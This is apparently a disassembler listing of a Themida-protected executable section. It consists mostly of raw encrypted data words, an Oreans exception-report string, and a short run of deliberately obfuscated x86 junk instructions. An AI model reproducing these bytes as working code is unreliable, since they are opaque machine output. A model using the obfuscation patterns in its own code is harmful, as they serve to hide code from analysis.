75B1F19Ah dd 0EAEB1396h, 61C65A11h, 2678589h, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF66D7C3h dd 0BF66866Ah, 346ABE3Ah, 331858Dh, 0FF500645h, 480267B5h dd 0FF006A06h, 4507B195h, 7F88306h, 162840Fh, 8C660000h dd 4C3F6DBh, 0FC850Fh, 85C60000h, 6451829h, 0B8526856h dd 0B5FF9CA8h, 6450985h, 39FB858Dh, 0D0FF0645h, 68046Ah dd 6A000010h, 0FF006A64h, 0DA8589D0h, 0C6064802h, 45182985h dd 9B684706h, 0FFEC18ACh, 450985B5h, 0FB858D06h, 0FF064539h dd 8BD0FFD0h, 2985C6F0h, 4F064518h, 2F266168h, 0E1B5FFC6h dd 8D06451Dh, 4539FB85h, 8DD0FF06h, 4802D69Dh, 286A5306h dd 85D0FF56h, 0C60075C0h, 45182985h, 98684106h, 0FFDB8764h dd 451DE1B5h, 0FB858D06h, 0FF064539h, 0F38589D0h, 0C6064802h dd 45182985h, 0A4684C06h, 0FF80A4E7h, 451DE1B5h, 0FB858D06h dd 0FF064539h, 0DA9D8BD0h, 8D064802h, 8D53045Bh, 4802DF9Dh dd 6A5306h, 9D8BD0FFh, 64802DAh, 103C7h, 43C70000h, 20Ch dd 4585C700h, 64530h, 6A000000h, 6A006A00h, 0DA9D8B00h dd 53064802h, 0B5FF006Ah, 64802D6h, 2F395FFh, 85C60648h dd 6451829h, 0F7976845h, 0B5FF92A5h, 6452BE5h, 39FB858Dh dd 0D0FF0645h, 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h dd 64802DAh, 0C43C7h, 6A000000h, 8B006A00h, 4802DA9Dh dd 6A5306h, 2D6B5FFh, 95FF0648h, 64802F3h, 2D6B5FFh, 95FF0648h dd 6450735h, 95FF006Ah, 645011Dh, 6A34B2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 885A1BC3h dd 9E8979F0h, 958B5D1Ch, 6450D3Dh, 3652858Dh, 50F50648h dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0A4C4C357h, 0BD8A800Fh dd 8018A81Dh, 5260D8F2h, 5F0CE080h, 25896461h, 0 dd 0D8DFE981h, 0BD831688h, 6450715h, 3D840F00h, 60000000h dd 0DE15BE66h, 6880Fh, 0BD8B0000h, 64508F1h, 25BD8361h dd 1064500h, 1E850Fh, 0BD890000h, 64529F9h, 6F3BD80h, 0F000648h dd 0B85h, 0D792B900h, 46E94216h, 0F8000001h, 0B70FDB33h dd 40C033FEh, 0B073F0Fh, 58F64h, 83000000h, 8E904C4h, 24000000h dd 0E2B9E30Dh, 0E8EA078Ah, 11h dword_571564 dd 0FE8CE6A5h, 66FFF68Ch, 5FC7D8D0h, 0ACAF150Fh, 28E0FC5h ; DATA XREF: Themida_:0053E3C8o dd 60000000h, 0FB835F61h, 33840FFFh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 34E1C350h, 0B734361h, 0DC04A963h, 4F18589h, 0C0E90645h dd 0F000000h, 4FE9D6B7h, 29000000h, 4508E9B5h, 244C8B06h dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h dd 245C8BC3h, 0E8550Ch, 5D000000h, 3674ED81h, 838B0648h dd 0B8h, 370E858Dh, 83890648h, 0B8h, 0C3C0335Dh, 0A3E28166h dd 7F5DBAE1h, 858D2CDAh, 648366Ah, 8B50CE8Bh, 35FF64D7h dd 0 dd 28E0Fh, 0D48A0000h, 2DDA8166h, 25896415h, 0 dd 1359B589h, 0E8600645h, 5, 0F2BC1064h, 0E9B86689h, 0BB665FD4h dd 0B9617783h, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h dd 4520E185h, 106h, 58F6400h, 0 dd 0F04C483h, 483h, 9BB96600h, 0B59D8914h, 60064512h, 8D0Fh dd 8A0F0000h, 6, 9159503h, 8B610645h, 8D8B51C0h, 6450565h dd 8166605Ah, 89E98AE3h, 4521D59Dh, 0BD836106h, 64530A1h dd 83097500h, 4504BDBDh, 19740006h, 0C08B5350h, 43DB8h dd 41858900h, 8D06452Ch, 47B5D39Dh, 5BD3FF06h, 0BDBD8358h dd 64504h, 53501774h, 43DB8h, 41858900h, 8D06452Ch, 47B2749Dh dd 5BD3FF06h, 9E858h, 0C8AC0000h, 6D49B13Dh, 0B9F2B45Bh dd 83B2015h, 31CF8B5Ah, 4504558Dh, 0E9C08B06h, 13Ah, 4 dd 35382E31h, 35h, 6 dup(0) db 0 align 2 aExceptionInfor db 'Exception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 dw 0BD83h dd 6451595h, 2D840F00h, 8D000001h, 47B08B85h, 858D5006h dd 647AFF5h, 16850h, 95FF8000h, 647B09Bh, 37C1858Dh, 8D500648h dd 4837CB85h, 6A5006h, 858D006Ah, 647B009h, 8BB5FF50h dd 0FF0647B0h, 451E1595h, 0C1858D06h, 50064837h, 37CF858Dh dd 6A500648h, 8D006A00h, 47B01B85h, 0B5FF5006h, 647B08Bh dd 1E1595FFh, 858D0645h, 64837C1h, 0DB858D50h, 50064837h dd 6A006Ah, 0B068858Dh, 0FF500647h, 47B08BB5h, 1595FF06h dd 8D06451Eh, 4837C185h, 858D5006h, 64837E3h, 6A006A50h dd 86858D00h, 500647B0h, 0B08BB5FFh, 95FF0647h, 6451E15h dd 37C1858Dh, 8D500648h, 4837DF85h, 6A5006h, 858D006Ah dd 647B06Fh, 8BB5FF50h, 0FF0647B0h, 451E1595h, 0C1858D06h dd 50064837h, 37D3858Dh, 6A500648h, 8D006A00h, 47B07785h dd 0B5FF5006h, 647B08Bh, 1E1595FFh, 858D0645h, 64837C1h dd 0D7858D50h, 50064837h, 6A006Ah, 0B07E858Dh, 0FF500647h dd 47B08BB5h, 1595FF06h, 0FF06451Eh, 47B08BB5h, 0D195FF06h dd 0E906452Bh, 0A2h, 1949BD83h, 0F000645h, 9584h, 25BD8300h dd 64500h, 11850Fh, 958B0000h, 64512E5h, 1CF8C281h, 0FE90000h dd 8D000000h, 452A7D95h, 34528B06h, 0C340C281h, 95893BD4h dd 6450649h, 649BD83h, 0F000645h, 5584h, 499D8B00h, 83064506h dd 38B4CC3h, 37CB8589h, 9D8B0648h, 6450649h, 8B50C383h dd 0CF858903h, 8B064837h, 4506499Dh, 54C38306h, 8589038Bh dd 64837DBh, 6499D8Bh, 0C3830645h, 89038B58h, 4837DF85h dd 499D8B06h, 83064506h, 38B5CC3h, 37D38589h, 0BD830648h dd 6451595h, 0D850F00h, 83000000h, 451949BDh, 840F0006h dd 68h, 37E3B5FFh, 0B5FF0648h, 64837D7h, 37D3B5FFh, 0B5FF0648h dd 64837DFh, 37DBB5FFh, 0B5FF0648h, 64837CFh, 37CBB5FFh dd 858D0648h, 64837C5h, 0FD858D50h, 50064837h, 0E25858Dh dd 0FF500645h, 45305595h, 24C48306h, 858D406Ah, 64837E7h dd 25858D50h, 5006450Eh, 95FF006Ah, 64507B1h, 95FF016Ah dd 645011Dh, 6E8C18Bh, 0DF000000h, 0A5594367h, 6E911h dd 7B070000h, 332C16B2h, 4850F5Bh, 51000000h, 8158F28Bh dd 5B7CC3h, 0E1816600h, 6862FFh, 66000000h, 0CC7DD681h dd 1F34FF5Fh, 5AC9B70Fh, 501DD081h, 0F2817ACCh, 3E43B3B5h dd 9633DE81h, 0C2815D07h, 27EDD5EDh, 14E9h, 9AB39D00h dd 0C5A0ABC8h, 0F5D8BFEh, 325DF423h, 85D8EECAh, 0C0C2819Dh dd 530A7620h, 6A8A91B8h, 1489595Eh, 0A9D0813Bh, 6628CF94h dd 5B0DC681h, 8004EF83h, 0FF81ACD4h, 0FFFFA558h, 26850Fh dd 0E8570000h, 0Ch, 0C249FC84h, 52F8D0C6h, 2EA6FC2Bh, 59595AB1h dd 26E9h, 0E091CE00h, 91AC393h, 636BD0AFh, 6EE907B0h, 9BFFFFFFh dd 0FC0A977h, 0ECBC26Ch, 63F092B6h, 3205BEFCh, 604EAC02h dd 0EB8AC08Bh, 30A1BD83h, 75000645h, 0BDBD8309h, 64504h dd 53501974h, 0EB8C08Bh, 89000004h, 4512FD85h, 6C9D8D06h dd 0FF0647B5h, 83585BD3h, 4504BDBDh, 17740006h, 0EB85350h dd 89000004h, 4512FD85h, 5B9D8D06h, 0FF0647B2h, 6A585BD3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 180FC350h, 0C77A8CA2h, 55006AD1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2F7172BDh dd 0E8FC579Bh, 9, 75E7CAC5h, 0D23E006Ch, 0DE957EFh, 4000000h dd 3E89D9EDh, 0EDDDC639h, 0F2560B58h, 0C08B595Ah, 838EDA80h dd 450715BDh, 840F0006h, 57h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 2DC35545h, 0F26E5C4h, 97E9F6B7h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0DAD1C355h, 34C1F835h, 8E951h dd 95CA0000h, 243FCA0Dh, 8C597629h, 55006ADFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 76C8DF8Ch dd 4C7F766h, 3B850F00h, 6A000002h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0AA47C352h dd 0AB5AD43Eh, 66E6DF4Ah, 0FE9h, 8E6E2600h, 708E9F51h dd 34743D1Dh, 0B0AA398Ah, 0D18BFF2Bh, 8D45F180h, 483F869Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0FE906DDCh, 0FAB463A8h, 0FBE660Eh, 0CFB19368h dd 0AFCEBE50h, 0E9937289h, 0Fh, 0C3E0A1D8h, 0A6CA7A51h dd 0F106D5Ch, 64F7903Ch, 35FFh, 0CA810000h, 6647064Fh dd 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 2CF9C357h, 0DFBA669Ch dd 0B32BEFDh, 0C48B2A3Dh, 0CDCEB70Fh, 6600EB01h, 6AF08Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 40D9B2C3h, 810FF88Dh, 6, 8C0Fh, 8F640000h, 5, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 80535DF8h, 835962C2h, 8C0F04C4h, 4, 31E4B966h, 840FC00Bh dd 0FEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0E5C35545h, 8BD6F655h, 85BE66F2h, 8DFC61B6h, 457214BDh dd 0F3BF0F06h, 1B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 14E9AEh, 0F7910000h, 4BE4979Ch dd 0D3DE31CBh, 43C6C7D9h, 992A816Eh, 0E850C777h, 0Eh, 1F0F09BAh dd 5696BE6Fh, 6B5ED7D7h, 11E89441h, 0B2000000h, 66F06F71h dd 256B92F3h, 12715FE9h, 0DE401C2h, 0FF59595Ah, 57006AE7h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B6681CAh, 68D0FD3h, 0F000000h, 8Dh, 5C8B5700h, 838B1024h dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h dd 0FC3C033h, 820FD3BFh, 0Eh, 9E9h, 0AF7FCC00h, 8083E8F6h dd 666118FEh, 0C08BCB8Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0F3C35242h, 8166CC28h, 8339D4C6h, 4530A1BDh dd 9750006h, 4BDBD83h, 74000645h, 8B535019h, 40EB8C0h dd 85890000h, 6452C41h, 0B5D39D8Dh, 0D3FF0647h, 0BD83585Bh dd 64504BDh, 50177400h, 40EB853h, 85890000h, 6452C41h dd 0B2749D8Dh, 0D3FF0647h, 5E57585Bh, 8BF95A52h, 6E8C0h dd 0F0E10000h, 0D87ACF98h, 8D0F60h, 81000000h, 3D28E8E0h dd 8B59613Ch, 1718EBC2h, 9B46F3h, 4 dup(0) dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 48407FEDh dd 4C26106h, 0FFE6E900h db 2 dup(0FFh) aA_2 db '`aΒ',8,0 ; DATA XREF: Themida_:00540548o ; Themida_:00541200o db 0E9h dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 64840B7h, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 64840BBh dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 49858B00h, 86064506h dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 6452CF9h, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 49858B00h, 0C6064506h, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 45064985h, 0A188606h dd 0F6850FDBh, 0C7FFFFFFh, 45332185h, 6, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 6453321h dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 648405Ch, 1 dd 4C010F50h, 858FFE24h, 6484060h, 4058858Dh, 0BD8D0648h dd 6484060h, 23E93889h, 8D000000h, 452A7D85h, 38408B06h dd 46F31705h, 5885899Bh, 8D064840h, 452A7D85h, 3C408B06h dd 405C8589h, 858D0648h, 6484075h, 2CF98589h, 87E90645h db 3 dup(0) byte_57225B db 52h ; DATA XREF: Themida_:0053FE28o dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh db 0C2h, 8, 0 byte_572283 db 52h ; DATA XREF: Themida_:00540030o dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 64842E8h dd 1EB58589h, 858D0645h, 6484310h, 20BD8589h, 858D0645h dd 6484338h, 126D8589h, 8EB0645h, 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 25858Bh, 858D0645h dd 64892D6h, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah, 6484399h dd 449BD83h, 0F000645h, 0F84h, 6A6000h, 312195FFh, 0E9610645h dd 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h, 895A04CDh dd 48439585h, 99B58B06h, 0C1064843h, 896610CEh, 0B58B0272h dd 6484399h, 0FC728966h, 95858B61h, 0C3064843h, 2D09958Dh dd 95890645h, 6450649h, 2F519589h, 85FF0645h, 6452F51h dd 182985C6h, 68530645h, 0FCB148D8h, 985B5FFh, 858D0645h dd 64539FBh, 8589D0FFh, 6453121h, 408F858Dh, 85890648h dd 645328Dh, 0ECE900EBh, 0E9000005h, 5E0h, 48454868h, 3963E906h dd 9B68FFFDh, 0E9064846h, 0FFFD3959h, 48473E68h, 394FE906h dd 0F468FFFDh, 0E9064847h, 0FFFD3945h, 48492268h, 393BE906h dd 725FFFFDh, 4F841DBh, 0A818E17Bh, 45B485E7h, 0E1CF1A82h dd 861EB02Ch, 0F16B208Eh, 9309B628h, 36B65546h, 0D755F0E3h dd 895648B2h, 3917FDD5h, 1C37E8A8h, 1511B593h, 11B5914Ah dd 0B591717Fh, 93895A11h, 0AAB811B5h, 0E711B593h, 6105C636h dd 0EB9A0BD0h, 938A5967h, 0F2CB91B5h, 9D1AAB1Bh, 8DBBFBDDh dd 0F0058FF0h, 41B37ABEh, 45AEDDCh, 33268F5h, 0A665568Fh dd 4302F346h, 6DF8DD1Fh, 0EFCC0AFEh, 3678C5F4h, 0F0A957F2h dd 73715DA7h, 0F55E67C4h, 0C24837AEh, 36464EFCh, 0BB9BE896h dd 0F136BB43h, 5DF8DE2Ah, 88000004h, 21E8741Bh, 418814ADh dd 0DD2CB051h, 78C15BEEh, 0E567C58Ah, 4C937DDh, 0A25F5198h dd 4FFEEF3Ah, 0EE990CDDh, 3D931B7Eh, 17FDD632h, 0C047418Eh dd 626C32CDh, 11B59370h, 0F0E344B8h, 63E01155h, 0D477663Fh dd 0F16448Eh, 5154F68Ch, 0A76C5A03h, 7C07FA53h, 1BA619E0h dd 40FBEE47h, 0A6BF491Ah, 0EBF2FFEh, 0FC55D958h, 15B62609h dd 0F5501488h, 50B95E83h, 0EAAC22C4h, 0D87B5CFCh, 3BBA7h dd 0F8551500h, 0C977A8B9h, 0FC897B8Ah, 0AF22FB7Fh, 23935A14h dd 48B4EC62h, 0E736E9DDh, 0DC529858h, 0B61FE0F2h, 0BB42811h dd 7C0FFE57h, 0FBE4DA26h, 4711B61Dh, 182DA73Eh, 98AD3385h dd 4DDF6A5Dh, 1BA4C580h, 0A9CEA0E4h, 0A8A04F61h, 0D32011B5h dd 7E61479Bh, 0C211B5A8h, 8C653DB1h, 29F06C1Bh, 0C9A22FB6h dd 6AEB9A2Ch, 4C7BB9EDh, 2FA277F5h, 3BE2CE94h, 0D7663CC9h dd 6B188A43h, 76C00623h, 875E511Ch, 9E079AEDh, 51A54F4Bh dd 37C69DBFh, 0D09911B6h, 0C58877E0h, 0A91BF278h, 0CF7A461Ch dd 69B136DFh, 39A3B9Fh, 0D67C9C2h, 0F6D78509h, 2AF33747h dd 0FEE1C7B9h, 4211B60Ch, 103EB431h, 0FF108C2h, 0DC7EF74h dd 0C06AF193h, 30A0E48h, 6E5B0000h, 0F445A7h, 0A414E547h dd 41B079E3h, 0DDCB1E8Eh, 8A12B428h, 0F5771C8Ah, 9715B224h dd 2AB25142h, 0CB51ECDFh, 856A4CCEh, 3D17FDD7h, 0CDC094ACh dd 9116D9FFh, 59AA11B5h, 91B0BF11h, 0C31011B5h, 56492046h dd 919F4066h, 0D22311B5h, 46B81155h, 722123B9h, 4F11B591h dd 11B58394h, 0B016685Ah, 11B5A1AFh, 2145C213h, 0ED9A0CDDh dd 32455E44h, 56DC5E44h, 0B6355B08h, 0DEF03411h, 11B63311h dd 964AE0B3h, 0C362738Ah, 5F7E3CB2h, 2C0AACEEh, 920FF134h dd 0C5756141h, 20686AF1h, 267B6h, 7A11FE00h, 1AA317E2h dd 8647B782h, 21E4D326h, 0CB806EBBh, 2DE7FF51h, 47920ABFh dd 0E534A855h, 2D755F4h, 1168F48Fh, 0D82837E9h, 4F9817FDh dd 32CDC049h, 0AA22956Ch, 0B5916B74h, 18ED711h, 677E8E5Dh dd 1E8E39ACh, 7AA85254h, 1F60DD8h, 37BF0000h, 11B5931Ch dd 1852F1E2h, 0FDA16051h, 0AE3DB7Ch, 0D763FD95h, 8B7CCD43h dd 0DECFA6FCh, 3ACB3BE2h, 0B66A4D12h, 0E360F511h, 495CECBFh dd 0FE6E1D8Eh, 7B8132B4h, 596DD8h, 555F0000h, 0EBB159F8h dd 0F1E94AFBh, 9C299B95h, 24AA37C6h, 54E65776h, 0F1677872h dd 8DB53E0Fh, 6AF1EECFh, 0B1ECEA3Eh, 34000001h, 4D9C00C7h dd 0ED3CA059h, 9D04CFDh, 0A475F79Ah, 490B9136h, 0D0756331h dd 7E0BFD4Ch, 1BAA1BEEh, 0BA45B881h, 81276722h, 17FDD8DEh dd 0BC331562h, 2B6C0FBCh, 6A94F986h, 0B683B3B4h, 0A0C60F11h dd 0B329D8C9h, 92C87366h, 4AD26BA0h, 0B253436Ah, 10C94DECh dd 0AD7CE09Fh, 1ECF8F3Ah, 0B8B61FACh, 9B6F74EFh, 80593185h dd 0AEEB710Eh, 8D01286Ch, 28F38ACh, 7759DD5Ch, 11B5A268h dd 24E1D3D8h, 0F3700DFFh, 25E6D6AFh, 9C2DE9C7h, 37F6FC6h dd 2C4EB026h, 3319758Bh, 11B67C2Ch, 88C24F94h, 9435A574h dd 0B67CB7B8h, 74FA0B11h, 7EEBF8DAh, 0F5A411B6h, 1D1C4207h dd 77E2DB99h, 19FB5445h, 3C7EFB6Ah, 0F150E49Ah, 0D02D5A0Fh dd 0D223FE68h, 5F0E40CDh, 0FF4AD26Bh, 552C720Bh, 7A0FFD64h dd 67EF3124h, 1DE5A3A5h, 0F9D33790h, 97035D8Dh, 0BFD540Ah dd 6151287Eh, 0CE3FEEA0h, 91E3BB3Fh, 58F58534h, 47C3A90Dh dd 0F5B93DC3h, 3641FFD3h, 0E5F75216h, 6CBD1B14h, 0FAA05D4Fh dd 0DF78FE7Bh, 1EB6AC96h, 0C3477136h, 8395h, 5EF5E200h dd 0FE877BCEh, 9A2B9B6Eh, 5C83702h, 0AF6452A7h, 11039B3Dh dd 0AB7EEEA3h, 0C9108C39h, 66B329D8h, 3554C873h, 0DA0CD3F5h dd 2BB417FDh, 32CDC06Dh, 6659006Ch, 0BFE57DBh, 0CF592A70h dd 0FD887BB6h, 0A8A1056Fh, 15FAD87Ah, 0C8000000h, 0B5931B37h dd 55F0E311h, 0A6615405h, 1894BE50h, 0FE000000h, 0B5931C37h dd 54EFE211h, 7E5094C8h, 11B59171h, 5DEADCD1h, 94685AD0h dd 240CFh, 28C60000h, 663CD3C0h, 3D611C8Fh, 8ED47364h dd 6238C537h, 32681D8Bh, 82D86D5Bh, 5509BC2Bh, 277B0CFCh dd 0FDA15A4Eh, 140B6876h, 4890000h, 5E08924h, 4, 8704E883h db 4, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 2510h mov [esp], esi push 26F2h mov [esp], eax mov eax, 99C7132h mov ecx, 0FCABD36Dh add ecx, eax pop eax push esp mov esi, [esp] add esp, 4 push 2D5Ah mov [esp], ecx pop dword ptr [esi+8] push dword ptr [esp] pop esi add esp, 4 mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_545D4D ; --------------------------------------------------------------------------- db 0E1h, 0Fh, 87h dd 4849CAB8h, 8BC50306h, 51E9D1h db 2 dup(0) word_5729CE dw 8B60h ; DATA XREF: Themida_:00540BB0o dd 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh dd 9FD3Eh, 20EBh, 7 dup(0) dd 0D7E90000h, 0E9000005h, 5CBh, 484CC768h, 32F3E906h dd 6C68FFFDh, 0E906484Dh, 0FFFD32E9h, 484F2968h, 32DFE906h dd 9E68FFFDh, 0E906484Fh, 0FFFD32D5h, 0AB31D8C5h, 4BD16A5Eh dd 0EF7D0EFEh, 8418AB1Ah, 1A8247B5h, 867420B8h, 1C8E5BC1h dd 0BB2CFD6Fh, 5649900Ch, 0D65831ABh, 0FDDCEFF0h, 2065317h dd 6B3FD0C0h, 0FF645607h, 0B2A700Dh, 8459D88Eh, 0D3FD7116h dd 91B59300h, 0EDB3CA56h, 916877A9h, 8BD891B5h, 0A7555107h dd 3D0E587Ah, 0C2000000h, 991DA81Bh, 931B37ABh, 5D7811B5h dd 3A8740B4h, 0C8565E70h, 5E0F0FFDh, 7613856Eh, 81D265E9h dd 10AF20C9h, 0A927AB4Ah, 499Fh, 0DBCE9F00h, 5AFB7A20h dd 6A9626E2h, 0FECC4258h, 77108455h, 0A28C0233h, 11B593B1h dd 39CC3BE2h, 1155F2E4h, 0ED286AE0h, 78BC125Ch, 290FFDC8h dd 0DC2C3395h, 179417FDh, 169C19A4h, 0B37A3441h, 920C8243h dd 0EE970BD2h, 0D0C05A68h, 3EAE7F3Fh, 2521AFA9h, 78C594EBh dd 0F7F8DE22h, 4B11B674h, 6139BD3Ah, 0B7E6301Dh, 6E53869Ah dd 1C0EC6E8h, 6E5091B6h, 347762C3h, 0F145E5AFh, 1F8F4A53h dd 7ABEFE6Eh, 0B6149B44h, 58DE2791h, 0F8DEA21Ah, 91B614F7h dd 0FDBD3A4Bh, 40FFF0B9h, 49971B1Ah, 91B6069Ah, 6D1C8D1Eh dd 0CEE80AC4h, 0F6737A79h, 5BE6D9B0h, 0CA3CEDC1h, 0C2FBB93Dh dd 81723B73h, 0AE004CC2h, 8FF151E0h, 57F0E4B5h, 0BBEF74C3h dd 9635A677h, 83AD21D0h, 97FB53D0h, 0D7839A86h, 5EC064CFh dd 9388h, 625B3A00h, 386E178Bh, 0A703291Dh, 0AA3716BDh dd 364B6D2Dh, 0FE0FFE49h, 82575h, 1E5AD06Dh, 0BCF0BC32h dd 0B169FCEDh, 0EA6A729h, 2ACB9F1Ch, 0CF7A6DA4h, 5EEDDE8Fh dd 0EB65E908h, 5748AB1Eh, 630B2BA8h, 0EA6AF483h, 314389Eh dd 9A070000h, 2CA069F3h, 0D0C00993h, 6D5CAD3Fh, 9F742DAh dd 5E66D844h, 198348B6h, 0BB21DED0h, 5ECE7D6Eh, 0FF6D188Bh dd 0B1BE109Ah, 1117FDDDh, 0DF3FC0C0h, 7F000002h, 0A1DFABD2h dd 6A400E8Ah, 8AA102A0h, 0DCEE64FDh, 6B3FD0C0h, 0B5936E65h dd 92104311h, 3F2111B5h, 0C11B592h, 11B59457h, 0B594796Ah dd 0EF7F2A11h, 86212130h, 22311F93h, 7D51B68Fh, 7532E4D0h dd 0B5E28C53h, 6AF34D1h, 21B57A3Bh, 0A3EB5A73h, 0FE39550Dh dd 0CC92E3CFh, 0DC9E2FEEh, 397F50FAh, 0B59DE6D6h, 3139F9CBh dd 6F7066A2h, 0AC000002h, 0C514883Fh, 65B428D1h, 8148D475h dd 1CED7F12h, 0C18319AEh, 58EDDBB9h, 0C68375C4h, 63229366h dd 2BD30F9h, 19BFFF9Ah, 17FDDE56h, 55BB9DEAh, 91B0BF11h dd 0C31011B5h, 9823964Fh, 148C7BD6h, 663CCF3Eh, 0CE666ED7h dd 0A290C84Eh, 3E90DA6Bh, 0FFDF7E2h, 0D5891360h, 0B303F91h dd 439017FEh, 0E5A616CFh, 8142B287h, 10AF20C9h, 0D5F0C29Ah dd 0A4F42A64h, 1E164642h, 461757D5h, 4001F152h, 0C89E1B1Ah dd 0C89BA529h, 951E4658h, 0D7C98130h, 1C8E8CB5h, 6976A8ECh dd 0D9248EA0h, 24B1068Ch, 0B550436Ah, 54EFE237h, 0A0A3400Eh dd 0DBF2248Eh, 0AA8E206Ah, 0F322D6D7h, 5509BA2Ah, 7C892EA4h dd 0CD786B32h, 6C178A5Fh, 793B0722h, 0EA4BF6E9h, 8B0FA325h dd 0D03EEFD3h, 0CAA9B73Bh, 8B2AD716h, 0D5CB8332h, 291F4CC3h dd 0F3BAF401h, 49168800h, 0F9311F60h, 0D0170048h, 66E32009h dd 43B68319h, 3590E2B8h, 0D0D4CA84h, 812F671Dh, 0D559E6D8h dd 23ADF102h, 37673330h, 87752466h, 199D9CC2h, 722728Bh dd 377DFBA3h, 1B5DD182h, 0FE2C9E8Bh, 11D4h, 8455E600h dd 0DEE07611h, 11B5B605h, 1D34h, 1C371E00h, 7711B589h dd 0CA796A33h, 0A8B76594h, 1A11B5ABh, 0D9D0871Ch, 0C310B329h dd 11557D4Fh, 